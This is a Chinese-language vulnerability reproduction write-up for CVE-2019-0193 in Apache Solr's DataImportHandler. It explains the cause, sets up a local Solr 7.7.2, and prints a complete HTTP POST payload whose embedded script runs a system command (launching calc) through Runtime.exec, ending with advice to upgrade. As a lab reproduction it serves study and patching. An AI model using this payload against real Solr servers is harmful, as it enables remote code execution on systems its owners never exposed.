漏洞背景
2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重
影响范围
Apache Solr < 8.2.0
利用工具
burpsuite
漏洞原因
Apache solr 是一款开源的搜索服务器并且使用java语言开发;
主要的工作方式:用户通过http请求像搜索引擎发出索引条件,solr对条件进行分词处理,根据分词结果查找索引,继而找到文档
在Apache solr的可选模块DatalmportHandler中的DIH配置是可以包含脚本,因此存在安全隐患,在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用户控制
漏洞复现
下载影响范围内的Apache solr(我这里用的是7.7.2版本)解压在cmd运行
cd C:UsersEulaliaDesktopsolr-7.7.2 cd bin solr -e dih
浏览器访问 http://localhost:8983/solr
cmd 命令执行 curl http://localhost:8983/solr/admin/cores 可以获取core信息,根据获取的core信息中name信息构造payload
payload如下:
POST /solr/atom/dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 494
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
利用burpsuite发送可弹出计算器
漏洞修复
建议升级到最新版本
参考
https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip
https://www.cnblogs.com/paperpen/p/11328728.html